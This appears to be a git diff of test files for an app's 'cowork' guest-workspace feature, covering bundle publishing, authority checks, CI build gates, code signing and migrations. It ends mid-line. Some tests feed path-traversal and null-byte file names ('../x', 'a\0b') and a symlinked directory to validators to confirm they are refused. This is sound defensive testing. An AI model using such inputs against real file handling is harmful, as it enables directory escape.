+ +test("a throwing guest port, a missing file and an unlocatable guest leak nothing and claim nothing", async () => { + for (const which of ["stat", "read"] as const) { + const f = await fixture(); f.guest.throwOn = which; + await refused(f.service.publish(f.caller, f.input), "bundle_unavailable"); expect(f.operations()).toBe(0); + } + const missing = await fixture(); missing.guest.files.clear(); + await refused(missing.service.publish(missing.caller, missing.input), "bundle_unavailable"); + const gone = await fixture(); gone.guest.location = null; + await refused(gone.service.publish(gone.caller, gone.input), "bundle_unavailable"); + expect(gone.guest.statCalls).toHaveLength(0); +}); + +test("the workspace and the revisions come from canonical records, not from the request or the guest", async () => { + const f = await fixture(); + // An unknown session, an archived conversation and a plan-mode conversation never reach the guest. + await refused(f.service.publish({ ...f.caller, sessionId: "no-such-session" }, f.input), "authority_denied"); + f.records.rs.db.run("UPDATE cowork_conversations SET policy='plan' WHERE session_id='session-one'"); + await refused(f.service.publish(f.caller, f.input), "authority_denied"); + f.records.rs.db.run("UPDATE cowork_conversations SET policy='ask',state='archived' WHERE session_id='session-one'"); + await refused(f.service.publish(f.caller, f.input), "authority_denied"); + expect(f.guest.locateCalls).toHaveLength(0); expect(f.guest.statCalls).toHaveLength(0); + // A source that is not in this workspace is denied, whatever id the guest names. + f.records.rs.db.run("UPDATE cowork_conversations SET state='active' WHERE session_id='session-one'"); + await refused(f.service.publish(f.caller, { ...f.input, sourceId: "source-of-another-workspace" }), "authority_denied"); + expect(f.operations()).toBe(0); +}); + +test("the revisions sent to the broker are the CURRENT canonical ones, whatever they have become", async () => { + const f = await fixture(); + f.records.updatePolicy(f.context("manual"), f.workspaceId, { publication: "manual" }); + f.records.updatePolicy(f.context("automatic"), f.workspaceId, { publication: "github-only-feature-branches" }); + f.records.rs.db.run("UPDATE cowork_sources SET revision=5,ack_revision=5 WHERE workspace_id=?", [f.workspaceId]); + expect(f.records.policy(f.workspaceId).publicationRevision).toBe(3); + expect((await f.service.publish(f.caller, f.input)).status).toBe("applied"); + for (const call of [...f.guest.statCalls, ...f.guest.readCalls]) expect(call.sourceRevision).toBe(5); +}); + +// The broker folds every authority fault, a stale revision included, into authority_denied; nothing is claimed. +test("a source or publication revision that moves while the bundle is pulled stops at the broker's authority check", async () => { + const f = await fixture(); + f.guest.onRead = n => { if (n === 1) f.records.rs.db.run("UPDATE cowork_policies SET publication_revision=publication_revision+1 WHERE workspace_id=?", [f.workspaceId]); }; + await refused(f.service.publish(f.caller, f.input), "authority_denied"); + expect(f.operations()).toBe(0); expect(f.pushes()).toBe(0); + const g = await fixture(); + g.guest.onRead = n => { if (n === 1) g.records.rs.db.run("UPDATE cowork_sources SET revision=revision+1 WHERE workspace_id=?", [g.workspaceId]); }; + await refused(g.service.publish(g.caller, g.input), "authority_denied"); + expect(g.operations()).toBe(0); +}); + +test("the default branch and a bundle that does not match the named update stay refused through the whole path", async () => { + const f = await fixture(); + f.guest.files.set(publishBundlePath("main-attempt"), await f.makeBundle(f.ref)); + await refused(f.service.publish(f.caller, { ...f.input, requestId: "main-attempt", ref: "refs/heads/main" }), "ref_denied"); + f.setDefault(f.ref); + await refused(f.service.publish(f.caller, f.input), "ref_denied"); + // A multi-ref bundle is not what the update names. + f.setDefault("refs/heads/main"); + f.guest.files.set(publishBundlePath("multi"), await f.makeBundle("--all")); + await refused(f.service.publish(f.caller, { ...f.input, requestId: "multi" }), "invalid_bundle"); + expect(f.pushes()).toBe(0); +}); + +test("one publish at a time per workspace, released afterwards even on failure", async () => { + const f = await fixture(); + let release!: () => void; const gate = new Promise(resolve => { release = resolve; }); + f.guest.onRead = async n => { if (n === 1) await gate; }; + const first = f.service.publish(f.caller, f.input); + await new Promise(resolve => setTimeout(resolve, 20)); + await f.stage("request-two"); + await refused(f.service.publish(f.caller, { ...f.input, requestId: "request-two" }), "publication_busy"); + release(); expect((await first).status).toBe("applied"); + f.guest.onRead = undefined; + // The slot is free again, and a failed attempt frees it too. + f.guest.throwOn = "stat"; await refused(f.service.publish(f.caller, { ...f.input, requestId: "request-two" }), "bundle_unavailable"); + f.guest.throwOn = undefined; + await refused(f.service.publish(f.caller, { ...f.input, requestId: "request-two" }), "remote_conflict"); // reached the broker: the slot was free +}); + +test("a rolling per-workspace attempt cap refuses the surplus and recovers with the window", async () => { + let clock = 1_000; + const f = await fixture({ maxPerWindow: 2, windowMs: 60_000 }, () => clock); + f.guest.throwOn = "stat"; // attempts count whether or not they succeed + for (const id of ["a1", "a2"]) await refused(f.service.publish(f.caller, { ...f.input, requestId: id }), "bundle_unavailable"); + await refused(f.service.publish(f.caller, { ...f.input, requestId: "a3" }), "publication_budget"); + clock += 59_999; await refused(f.service.publish(f.caller, { ...f.input, requestId: "a4" }), "publication_budget"); + clock += 2; await refused(f.service.publish(f.caller, { ...f.input, requestId: "a5" }), "bundle_unavailable"); +}); + +test("status is principal- and workspace-scoped, and never an effect", async () => { + const f = await fixture(); + expect(f.service.status(f.caller, "request-one")).toBeNull(); + const receipt = await f.service.publish(f.caller, f.input); + expect(f.service.status(f.caller, "request-one")).toEqual(receipt); + expect(f.service.status({ ...f.caller, principalId: "someone-else" }, "request-one")).toBeNull(); + expect(() => f.service.status({ ...f.caller, sessionId: "no-such-session" }, "request-one")).toThrow(GitPublicationError); + expect(() => f.service.status(f.caller, "bad id!")).toThrow(GitPublicationError); + expect(f.pushes()).toBe(1); +}); + +test("recovery retires only an unsent preparation of a dead owner, behind explicit proof", async () => { + const f = await fixture(); + // A previous host owner prepared and died before dispatch. + const dead = f.journalFor(f.workspaceId, "host-dead"); + const key = JSON.stringify(["fixture-user", f.workspaceId, "orphan"]); + await dead.claim(key, { operationId: "00000000-0000-4000-8000-000000000001", digest: "d".repeat(64), status: "prepared", repositoryId: "repository-one", ref: f.ref, oldOid: null, newOid: f.head }); + expect(await f.service.recover(f.workspaceId, async () => false)).toBe(0); + expect(await f.service.recover(f.workspaceId, async candidate => { expect(candidate.ownerId).toBe("host-dead"); return true; })).toBe(1); + expect(f.records.operation(f.workspaceId, "00000000-0000-4000-8000-000000000001")).toMatchObject({ status: "failed", terminal: true }); + await refused(f.service.recover("bad id!", async () => true), "invalid_request"); +}); + +test("a service cannot be built over a nonsensical budget", async () => { + const f = await fixture(); + for (const limits of [{ bundleBytes: 0 }, { maxPerWindow: -1 }, { windowMs: 1.5 }]) expect(() => createCoworkPublishService({ ...f.ports, limits })).toThrow(GitPublicationError); +}); + +test("the intake rejects a hostile path argument shape: the path is derived from the request id alone", () => { + expect(publishBundlePath("req_1-A")).toBe(".winter-publish/req_1-A.bundle"); + for (const id of ["", "../x", "a/b", "a.b", "a b", "x".repeat(129), "a\0b", ".."]) expect(() => publishBundlePath(id)).toThrow(GitPublicationError); +}); + +test("the intake honours cancellation and pulls a multi-chunk bundle contiguously", async () => { + const f = await fixture(); + const big = Uint8Array.from({ length: 700_000 }, (_v, i) => (i * 7) & 0xff); + f.guest.files.set("big", big); + const binding: PublishBundleBinding = { workspaceId: "w", sessionId: "s", locationId: "l", relativePath: "big", incarnationId: "i", sourceRevision: 1 }; + const pulled = await pullPublishBundle(f.guest, binding, { maxBytes: 1_000_000 }); + expect(Buffer.from(pulled.bytes).equals(Buffer.from(big))).toBe(true); + expect(f.guest.readCalls.map(call => call.offset)).toEqual([0, 262144, 524288]); + const controller = new AbortController(); controller.abort(); + await expect(pullPublishBundle(f.guest, binding, { maxBytes: 1_000_000 }, controller.signal)).rejects.toMatchObject({ code: "cancelled" }); +}); + +// ---------------------------------------------------------------- the real file-channel client satisfies the port + +test("the real guest file-channel client satisfies the structural port and its bytes publish", async () => { + const f = await fixture(); + const bundle = await f.makeBundle(f.ref); + const line = (value: unknown) => `${JSON.stringify(value)}\n`; + const authority = { check: () => ({ incarnationId: "incarnation-one" as string | null, sourceRevision: f.source.revision }) }; + let n = 0; + const client: CoworkGuestFileClient = createCoworkGuestFileClient({ + authority, requestId: () => `00000000-0000-4000-8000-${String(++n).padStart(12, "0")}`, + frames: { async send(frame) { + const request = parseCoworkGuestFileRequest(frame); + const head = { version: 1, requestId: request.requestId, op: request.op, ok: true, workspaceId: request.workspaceId, sessionId: request.sessionId, locationId: request.locationId, + relativePath: request.relativePath, incarnationId: request.incarnationId, sourceRevision: request.sourceRevision, generation: GENERATION, bytes: bundle.length, kind: "file" }; + if (request.op === "stat") return line(head); + const offset = request.op === "readRange" ? request.offset : 0; + const slice = bundle.subarray(offset, Math.min(bundle.length, offset + request.maxBytes)); + return line({ ...head, offset, nextOffset: offset + slice.length, eof: offset + slice.length === bundle.length, contentBase64: Buffer.from(slice).toString("base64"), encoding: "base64" }); + } }, + }); + const port: PublishBundlePort = client; // assignability, enforced by `bun run typecheck:core` + const guest = { stat: (input: PublishBundleBinding) => port.stat(input), readRange: (input: Parameters[0]) => port.readRange(input), locate: () => ({ incarnationId: "incarnation-one", locationId: "location-one" }) }; + const service = createCoworkPublishService({ ...f.ports, guest }); + expect((await service.publish(f.caller, f.input)).status).toBe("applied"); + expect(await f.git(f.root, "--git-dir", f.remote, "rev-parse", f.ref)).toBe(f.head); +}); diff --git a/packages/core/test/cowork/guest-boot-anti-wiring.test.ts b/packages/core/test/cowork/guest-boot-anti-wiring.test.ts index 73d6e3ba2..66a1eca95 100644 --- a/packages/core/test/cowork/guest-boot-anti-wiring.test.ts +++ b/packages/core/test/cowork/guest-boot-anti-wiring.test.ts @@ -27,7 +27,9 @@ test("anti-wiring: nothing that ships references the guest boot sources or the a join(root, ".github", "workflows", "ci.yml"), ].filter(file => existsSync(file)); for (const file of shipping) { - const text = readFileSync(file, "utf8"); + // S7B part 2: the Embed phase records the hash of the guest artifact's PINS FILE in the bundle's pin manifest (so the release gate can refuse a bundle built against other + // image pins). That one path, in that one script, is the only reference; nothing of the guest sources, the artifact build or the image itself is reachable from it. + const text = basename(file) === "embed-cowork-native.sh" ? readFileSync(file, "utf8").split("${REPO}/scripts/cowork-guest-artifact/pins.json").join("") : readFileSync(file, "utf8"); for (const needle of NEEDLES) expect(`${file.slice(root.length)}:${needle}:${text.includes(needle)}`).toBe(`${file.slice(root.length)}:${needle}:false`); } }); diff --git a/packages/core/test/cowork/guest-image-build-gates.test.ts b/packages/core/test/cowork/guest-image-build-gates.test.ts index 8b46fd20c..1ce426ab1 100644 --- a/packages/core/test/cowork/guest-image-build-gates.test.ts +++ b/packages/core/test/cowork/guest-image-build-gates.test.ts @@ -11,7 +11,7 @@ const ROOT = resolve(import.meta.dir, "..", "..", "..", ".."); const WORKFLOWS_DIR = join(ROOT, ".github", "workflows"); const WORKFLOW_NAME = "cowork-guest-image-build.yml"; const WORKFLOW_PATH = `.github/workflows/${WORKFLOW_NAME}`; -const TRIGGER_BRANCH = "cowork/guest-image-build"; +const TRIGGER_BRANCH = "cowork/guest-image-build-6"; const REPOSITORY = "yanlingLabs/winter"; const SDK_REPOSITORY = "yanlingLabs/winter-agent-sdk"; const ARTIFACT_DIR = "scripts/cowork-guest-artifact"; @@ -19,7 +19,7 @@ const ZERO_HEAD = "0".repeat(40); // The two actions, by the commit the repository's other workflows already use. const ACTIONS: Record = { "actions/checkout": "11d5960a326750d5838078e36cf38b85af677262", "actions/upload-artifact": "ea165f8d65b6e75b540449e92b4886f43607fa02" }; // Branches that name other workflows or work branches: never reusable as this trigger. -const USED_BRANCHES = ["cowork/n2-guest-image-build", "cowork/n2-guest-boot", "cowork/n2-guest-trusted-config-reader", "cowork/output-integration"]; +const USED_BRANCHES = ["cowork/guest-image-build", "cowork/guest-image-build-2", "cowork/guest-image-build-3", "cowork/guest-image-build-4", "cowork/n2-guest-image-build", "cowork/n2-guest-boot", "cowork/n2-guest-trusted-config-reader", "cowork/output-integration"]; /** The arming guard, line for line. It runs before any builder code is used and refuses unless REVIEWED_HEAD is an ancestor of the pushed commit AND the whole difference * is the one REVIEWED_HEAD line of this workflow. */ @@ -99,7 +99,7 @@ const curlLine = (url: string, dest: string, size: number) => `curl --fail --loc const sumLine = (sha: string, dest: string) => `printf '%s %s\\n' "$${sha}" "$image_work/${dest}" | sha256sum --check --strict -`; const S = ARTIFACT_DIR; -const NATIVE = `python3 -I -S -B ${S}/kernel/native_build.py --downloads "$IMAGE_WORK/kernel-downloads" --work "$kernel_work"`; +const NATIVE = (work: string) => `python3 -I -S -B ${S}/kernel/native_build.py --downloads "$IMAGE_WORK/kernel-downloads" --work "${work}"`; const IMAGE = (n: number) => `python3 -I -S -B ${S}/image.py --out "$IMAGE_WORK/artifact/build-${n}" --sdk origins/sdk --builder origins/builder --zig-archive "$IMAGE_WORK/downloads/zig.tar.xz" --bun-base "$IMAGE_WORK/tools/bun" || image_status_${n}=$?`; const REPORT = `python3 -I -S -B ${S}/image_build_report.py report --kernel-1 "$IMAGE_WORK/kernel-1" --kernel-2 "$IMAGE_WORK/kernel-2" --image-1 "$IMAGE_WORK/artifact/build-1" --image-2 "$IMAGE_WORK/artifact/build-2" --status-1 "$IMAGE_STATUS_1" --status-2 "$IMAGE_STATUS_2" --out "$IMAGE_WORK/digests.json"`; const COLLECT = `python3 -I -S -B ${S}/image_build_report.py collect --kernel "$IMAGE_WORK/kernel-1" --image "$IMAGE_WORK/artifact/build-1" --out "$IMAGE_WORK/publish"`; @@ -123,8 +123,9 @@ function reviewedLines(ctx: Context): Set { `sudo apt-get install -y --no-install-recommends ${packages}`, `dpkg-query -W ${packages} > "$IMAGE_WORK/host-packages.txt"`, "pnpm install --frozen-lockfile --ignore-scripts", - "kernel_work=\"$IMAGE_WORK/kernel-work\"", - `${NATIVE} --out "$IMAGE_WORK/kernel-1"`, `${NATIVE} --out "$IMAGE_WORK/kernel-2"`, "rm -rf \"$kernel_work\"", + "kernel_work=\"$RUNNER_TEMP/winter-kernel-work\"", + "kernel_work_b=\"$RUNNER_TEMP/winter-kernel-work-b\"", "test \"$kernel_work\" != \"$kernel_work_b\"", + `${NATIVE("$kernel_work")} --out "$IMAGE_WORK/kernel-1"`, "rm -rf \"$kernel_work\"", `${NATIVE("$kernel_work_b")} --out "$IMAGE_WORK/kernel-2"`, "rm -rf \"$kernel_work_b\"", `python3 -I -S -B ${S}/packages.py --out "$IMAGE_WORK/artifact"`, "image_status_1=0", "image_status_2=0", IMAGE(1), IMAGE(2), "test \"$image_status_1\" = 0 || test \"$image_status_1\" = 3", "test \"$image_status_2\" = 0 || test \"$image_status_2\" = 3", @@ -252,7 +253,7 @@ export function violations(text: string, ctx: Context = loadContext()): string[] flagCheck("kernel/native_build.py", `python3 -I -S -B ${S}/kernel/native_build.py`, ["--downloads", "--work", "--out"]); flagCheck("image.py", `python3 -I -S -B ${S}/image.py`, ["--out", "--sdk", "--builder", "--zig-archive", "--bun-base"]); if (lines.filter((l) => l.includes("native_build.py")).length !== 2 || lines.filter((l) => l.includes("/image.py")).length !== 2) bad("the kernel and the image are each built exactly twice"); - if (!lines.includes("rm -rf \"$kernel_work\"") || lines.filter((l) => l === "rm -rf \"$kernel_work\"").length !== 2) bad("the kernel work folder is removed after each build so the second build starts fresh at the same path"); + if (lines.filter((l) => l === "rm -rf \"$kernel_work\"").length !== 1 || lines.filter((l) => l === "rm -rf \"$kernel_work_b\"").length !== 1) bad("each kernel work folder is removed after its build, and the two builds use different work paths"); const kernelAt = lines.findIndex((l) => l.includes("native_build.py")), imageAt = lines.findIndex((l) => l.includes("/image.py")); if (!(kernelAt >= 0 && imageAt > kernelAt)) bad("order must be kernel builds, then image builds"); @@ -405,7 +406,8 @@ const MUTATIONS: Array<[string, (text: string) => string, string]> = [ ["the stand-in image creeps in", sub(" - name: Fetch the pinned inputs as bounded data", " - name: Fetch the pinned inputs as bounded data (and the stand-in)"), "the stand-in image or a provider is part of this workflow"], ["a provider socket creeps in", sub(" install -m 0755", " printf x > provider.sock\n install -m 0755"), "the stand-in image or a provider is part of this workflow"], ["the kernel is built once", sub(/ python3 -I -S -B scripts\/cowork-guest-artifact\/kernel\/native_build\.py[^\n]*kernel-2"\n/, ""), "the kernel and the image are each built exactly twice"], - ["the kernel work folder is not removed", sub(' rm -rf "$kernel_work"\n python3', " python3"), "the kernel work folder is removed after each build so the second build starts fresh at the same path"], + ["the kernel work folder is not removed", sub(' rm -rf "$kernel_work"\n python3', " python3"), "each kernel work folder is removed after its build, and the two builds use different work paths"], + ["both kernel builds use the same work path", sub('--work "$kernel_work_b"', '--work "$kernel_work"'), "unreviewed command line"], ["the image is built once", sub(/ image_status_2=0\n python3 -I -S -B scripts\/cowork-guest-artifact\/image\.py[^\n]*\n/, ""), "the kernel and the image are each built exactly twice"], ["image.py gets a flag it does not have", sub("--bun-base \"$IMAGE_WORK/tools/bun\" || image_status_1", "--bun-base \"$IMAGE_WORK/tools/bun\" --extra x || image_status_1"), "image.py is run with flags"], ["native_build gets a flag it does not have", sub("--out \"$IMAGE_WORK/kernel-1\"", "--out \"$IMAGE_WORK/kernel-1\" --network"), "native_build.py is run with flags"], diff --git a/packages/core/test/cowork/host-env-assembly.test.ts b/packages/core/test/cowork/host-env-assembly.test.ts index afab1e8bf..837063bff 100644 --- a/packages/core/test/cowork/host-env-assembly.test.ts +++ b/packages/core/test/cowork/host-env-assembly.test.ts @@ -3,7 +3,7 @@ import { chmodSync, existsSync, readFileSync, readdirSync, statSync, writeFileSy import { join } from "node:path"; import { CoworkImagePins } from "../../src/cowork/images"; import { COWORK_HOME_BINDING_DDL, createCoworkHomeBindingStore } from "../../src/cowork/host-env/stores"; -import { COWORK_DEFAULT_TEAM, COWORK_LAUNCHER_IDENTIFIER, createCoworkNativeProductionEnvironment, hostBootFromProbes, type CoworkNativeProductionOptions } from "../../src/cowork/host-env/environment"; +import { COWORK_DEFAULT_TEAM, COWORK_LAUNCHER_DEV_IDENTIFIER, COWORK_LAUNCHER_IDENTIFIER, coworkLauncherRequirement, createCoworkNativeProductionEnvironment, hostBootFromProbes, type CoworkNativeProductionOptions } from "../../src/cowork/host-env/environment"; import { COWORK_INSTALLATION_ID_FILE } from "../../src/cowork/host-env/coordination"; import { createCoworkNativeWiring, type CoworkNativeEnvironment } from "../../src/cowork/native-wiring"; import { CoworkNativeSimulatedCrash } from "../../src/cowork/native/host"; @@ -129,6 +129,16 @@ describe("construction", () => { }); describe("the launcher's identity", () => { + test("the dist requirement names the dist identifier and the team; the dev daemon asks for the dev identifier, which is what dev:cowork-native signs", async () => { + expect(coworkLauncherRequirement()).toBe('identifier "com.winter.cowork.launcher" and anchor apple generic and certificate leaf[subject.OU] = "37N77U9RSZ"'); + expect(coworkLauncherRequirement(undefined, COWORK_LAUNCHER_DEV_IDENTIFIER)).toBe('identifier "com.winter.cowork.launcher.dev" and anchor apple generic and certificate leaf[subject.OU] = "37N77U9RSZ"'); + // the same strings the scripts state (the signing side) + const { coworkNativeIdentifier, coworkRequirement } = await import("../../../../scripts/cowork-native-lib"); + expect(coworkRequirement(coworkNativeIdentifier("launcher", "dev"))).toBe(coworkLauncherRequirement(undefined, COWORK_LAUNCHER_DEV_IDENTIFIER)); + expect(coworkRequirement(coworkNativeIdentifier("launcher"))).toBe(coworkLauncherRequirement()); + // and the seam picks the dev identifier from the profile + expect(readFileSync(join(import.meta.dir, "..", "..", "src", "cowork", "native-activation.ts"), "utf8")).toContain('env.WINTER_PROFILE === "dev" ? { launcherIdentifier: hostEnv.COWORK_LAUNCHER_DEV_IDENTIFIER }'); + }); test("the identifier and team the daemon expects are the ones the launcher package compiles in (read from the Swift source)", () => { const swift = readFileSync(join(import.meta.dir, "..", "..", "..", "..", "apple", "Cowork", "WinterCoworkLauncher", "Sources", "LauncherCore", "Identity", "CodeIdentity.swift"), "utf8"); expect(swift).toContain(`launcherIdentifier = "${COWORK_LAUNCHER_IDENTIFIER}"`); @@ -136,6 +146,16 @@ describe("the launcher's identity", () => { }); }); +describe("an omitted bundle", () => { + test("an omitted bundle (no Contents/Helpers/WinterCowork) gives the daemon nothing to spawn: the real launcher port refuses launcher_missing, before any process exists", async () => { + const h = createHarness(), w = world(); withBindingTable(h); + const env = createCoworkNativeProductionEnvironment(options(h, w)); // executablePath is /Winter.app/Contents/Resources/winter-core; no Helpers directory exists beside it + expect(existsSync(join(h.root, "Winter.app", "Contents", "Helpers"))).toBe(false); + await expect(env.launcher.spawn({ workspaceId: h.workspaceId, incarnationId: "inc-1", leaseEpoch: 1 })).rejects.toMatchObject({ code: "launcher_missing" }); + env.close?.(); + }); +}); + describe("through the wiring", () => { function envWith(h: Harness, prod: ReturnType, launcher: FakeLauncher): CoworkNativeEnvironment { const { timers, timeouts, unsafeTestTimeouts, now, conversations, mint, checkpoint } = h.deps; diff --git a/packages/core/test/cowork/host-env-lazy.test.ts b/packages/core/test/cowork/host-env-lazy.test.ts new file mode 100644 index 000000000..8d3906d7d --- /dev/null +++ b/packages/core/test/cowork/host-env-lazy.test.ts @@ -0,0 +1,22 @@ +import { expect, test } from "bun:test"; +import { join } from "node:path"; + +// Production boot never loads the host-env graph while COWORK_NATIVE_ENVIRONMENT_ACTIVATED is false (the activation seam requires it lazily). +// A fresh process, so no other test's imports count; a Bun plugin records every host-env module that is loaded. +test("a production-shaped daemon boots and stops without loading anything under cowork/host-env", async () => { + const probe = join(import.meta.dir, "fixtures", "host-env-load-probe.ts"); + const run = Bun.spawnSync([process.execPath, probe], { env: { PATH: process.env.PATH ?? "", HOME: process.env.TMPDIR ?? "/tmp", WINTER_KEYCHAIN_SERVICE: process.env.WINTER_KEYCHAIN_SERVICE ?? "winter-test-throwaway" }, stdout: "pipe", stderr: "pipe" }); + const out = run.stdout.toString().trim().split("\n").at(-1) ?? ""; + expect(run.exitCode, run.stderr.toString()).toBe(0); + const result = JSON.parse(out) as { loaded: string[]; built: boolean | undefined }; + expect(result.built).toBe(false); + expect(result.loaded).toEqual([]); +}); +test("the probe can see a host-env load (the recorder is not blind)", async () => { + const run = Bun.spawnSync([process.execPath, "-e", ` + const { readFileSync } = require("node:fs"); const loaded = []; + Bun.plugin({ name: "r", setup(b) { b.onLoad({ filter: /[\\\\/]cowork[\\\\/]host-env[\\\\/][^\\\\/]+\\.ts$/ }, a => { loaded.push(a.path); return { contents: readFileSync(a.path, "utf8"), loader: "ts" }; }); } }); + await import(${JSON.stringify(join(import.meta.dir, "..", "..", "src", "cowork", "host-env", "volume-identity"))}); + console.log(JSON.stringify(loaded));`], { env: { PATH: process.env.PATH ?? "" }, stdout: "pipe", stderr: "pipe" }); + expect(JSON.parse(run.stdout.toString().trim().split("\n").at(-1)!).length).toBeGreaterThan(0); +}); diff --git a/packages/core/test/cowork/host-env-provisioning.test.ts b/packages/core/test/cowork/host-env-provisioning.test.ts index c69caac3d..020707c25 100644 --- a/packages/core/test/cowork/host-env-provisioning.test.ts +++ b/packages/core/test/cowork/host-env-provisioning.test.ts @@ -6,7 +6,9 @@ import { COWORK_CONFINED_POSTURE_CAPABILITY, coworkAllocateAuthority, coworkGues import { CoworkRepository } from "../../src/cowork/repository"; import { openRuntimeStateDb } from "../../src/runtime-state/db"; import { RAW_VOLUME_MIN_BYTES } from "../../src/cowork/volumes"; -import { mkdtempSync, mkdirSync, realpathSync, rmSync } from "node:fs"; +import { lstatSync, mkdtempSync, mkdirSync, realpathSync, rmSync, symlinkSync } from "node:fs"; +import { CoworkGuestRecords } from "../../src/cowork/host-env/guest-records"; +import type { CoworkProvisioningPort } from "../../src/cowork/session-ports"; import { tmpdir } from "node:os"; import type { CoworkVolumeBackup } from "../../src/cowork/volume-backup"; @@ -78,4 +80,30 @@ describe("the provisioning port", () => { f.pins.pin(f.workspaceId, { baseImageDigest: IMAGE.baseImageDigest, runtimeImageDigest: IMAGE.runtimeImageDigest }, {}); expect((await wrong.provision(f.workspaceId, "op-2")).status).toBe("failed"); }); + test("it is the session door's port, and provision makes the shared directories and keeps the data volume's uuid once", async () => { + const f = fixture(); + const records = new CoworkGuestRecords(f.db); + const port: CoworkProvisioningPort = createCoworkProvisioningPort({ db: f.db, home: f.home, backup, environmentActive: () => true, image: () => IMAGE, pin: (id, digests) => f.pins.pin(id, digests, {}), guestRecords: records, capacities: { data: RAW_VOLUME_MIN_BYTES, environment: RAW_VOLUME_MIN_BYTES } }); + expect(await port.provision(f.workspaceId, "op-1")).toEqual({ status: "applied" }); + const shared = join(f.home, "cowork", "workspaces", f.workspaceId, "shared"); + for (const name of ["guidance", "memory", "outputs"]) { const info = lstatSync(join(shared, name)); expect(info.isDirectory() && !info.isSymbolicLink()).toBe(true); expect(info.mode & 0o777).toBe(0o700); } + const data = f.db.db.query<{ filesystem_uuid: string }, [string]>("SELECT filesystem_uuid FROM cowork_volumes WHERE workspace_id=? AND purpose='data'").get(f.workspaceId)!; + expect(records.storeVolumeUuid(f.workspaceId)).toBe(data.filesystem_uuid); + expect(await port.provision(f.workspaceId, "op-1")).toEqual({ status: "applied" }); // idempotent + }); + test("a recorded uuid that is not the data volume's, or a shared directory that is a symlink, fails the provisioning with a code and pins nothing", async () => { + const f = fixture(); + const records = new CoworkGuestRecords(f.db); + f.db.db.run("UPDATE cowork_workspaces SET store_volume_uuid=? WHERE workspace_id=?", ["11111111-1111-4111-8111-111111111111", f.workspaceId]); + const pinned: string[] = []; + const port = createCoworkProvisioningPort({ db: f.db, home: f.home, backup, environmentActive: () => true, image: () => IMAGE, pin: id => { pinned.push(id); }, guestRecords: records, capacities: { data: RAW_VOLUME_MIN_BYTES, environment: RAW_VOLUME_MIN_BYTES } }); + expect(await port.provision(f.workspaceId, "op")).toEqual({ status: "failed", reason: "store_volume_mismatch" }); + expect(pinned).toEqual([]); + const g = fixture(); + const second = createCoworkProvisioningPort({ db: g.db, home: g.home, backup, environmentActive: () => true, image: () => IMAGE, pin: id => { pinned.push(id); }, capacities: { data: RAW_VOLUME_MIN_BYTES, environment: RAW_VOLUME_MIN_BYTES } }); + expect((await second.provision(g.workspaceId, "first")).status).toBe("applied"); + const outputs = join(g.home, "cowork", "workspaces", g.workspaceId, "shared", "outputs"); + rmSync(outputs, { recursive: true }); symlinkSync(g.home, outputs); + expect(await second.provision(g.workspaceId, "again")).toEqual({ status: "failed", reason: "not_directory" }); + }); }); diff --git a/packages/core/test/cowork/instructions.test.ts b/packages/core/test/cowork/instructions.test.ts index f4b0c0cf0..3aa185e5a 100644 --- a/packages/core/test/cowork/instructions.test.ts +++ b/packages/core/test/cowork/instructions.test.ts @@ -50,7 +50,7 @@ test("strict content schema refuses client paths/approval flags and bounds UTF-8 expect(CoworkInstructionUpdate.safeParse({ ...valid, content: "\ud800" }).success).toBe(false); }); test("schema13 retains authority and missing backing remains unavailable without seeding", () => { - const f = fixture(); expect(f.db.schemaVersion()).toBe(RUNTIME_STATE_SCHEMA_VERSION); expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(19); + const f = fixture(); expect(f.db.schemaVersion()).toBe(RUNTIME_STATE_SCHEMA_VERSION); expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(21); refusal(() => f.owner.get(user, f.workspaceId), unavailable); expect(() => downgradeCoworkRuntimeStateToV7(f.home)).toThrow("Cowork authority"); expect(f.db.integrity().ok).toBe(true); expect(f.db.db.query("SELECT count(*) AS n FROM cowork_instruction_directories").get()).toEqual({ n: 0 }); }); diff --git a/packages/core/test/cowork/n1-schema.test.ts b/packages/core/test/cowork/n1-schema.test.ts new file mode 100644 index 000000000..936df3bef --- /dev/null +++ b/packages/core/test/cowork/n1-schema.test.ts @@ -0,0 +1,227 @@ +// Migrations 20 and 21 (DOOR owns every migration). Records only: nothing in production writes or reads these columns +// and tables yet. +// - 20, content-out (#97, definitions from that lane): `cowork_exports.content_digest` and `cowork_export_output_ids`. +// - 21, #92 host side (design section 8): stable guest uids, the four-state store, the data volume UUID, the browse uid, +// the guest boot record, and the held-input columns of the peer inbox. +// Pinned here: the fresh shape, every CHECK and key, the L7 keep rule, the upgrade from a v19 store (rows survive, the +// store_state backfill never says "none" over a recorded backend), idempotent replay and the downgrade ladder. +import { afterEach, expect, test } from "bun:test"; +import { Database } from "bun:sqlite"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { CoworkRepository } from "../../src/cowork/repository"; +import { COWORK_TABLES } from "../../src/cowork/schema"; +import { downgradeCoworkRuntimeStateToV7, downgradeRuntimeStateToV6, openRuntimeStateDb, RUNTIME_STATE_SCHEMA_VERSION, type RuntimeStateDb } from "../../src/runtime-state/db"; +import { authorityFixtureSessions } from "./committed-sessions"; + +const homes: string[] = [], open: RuntimeStateDb[] = []; +afterEach(() => { open.splice(0).forEach(db => { try { db.close(); } catch { /* closed */ } }); homes.splice(0).forEach(home => rmSync(home, { recursive: true, force: true })); }); +const tempHome = () => { const home = mkdtempSync(join(tmpdir(), "winter-cowork-n1-schema-")); homes.push(home); return home; }; +const openDb = (home: string) => { const db = openRuntimeStateDb(home); open.push(db); return db; }; +const rawPath = (home: string) => join(home, "runtimes", "runtime-state.db"); +const userVersion = (home: string) => { const raw = new Database(rawPath(home), { readonly: true }); try { return raw.query<{ user_version: number }, []>("PRAGMA user_version").get()!.user_version; } finally { raw.close(); } }; +const columnsOf = (db: Database, table: string) => db.query<{ name: string }, []>(`PRAGMA table_info(${table})`).all().map(column => column.name); +const HEX = "a".repeat(64), UUID = "0123abcd-4567-89ef-0123-456789abcdef", BOOT = "11111111-2222-4333-8444-555555555555"; + +function bound(db: RuntimeStateDb, sessionId = "s_bound") { + const records = new CoworkRepository(db); + const made = records.create({ principalId: "fixture", requestId: `create-${sessionId}` }, { ownership: "project", title: "N1 fixture", + ceiling: { toolClasses: ["read"], hostServices: [], connectors: [], network: "none" }, + sources: [{ kind: "folder", label: "N1 fixture", access: "read-write", detail: { grantRef: "grant", rootIdentity: "root" } }] }); + const source = records.sources(made.workspaceId)[0]!, epoch = records.beginIncarnation(made.workspaceId, 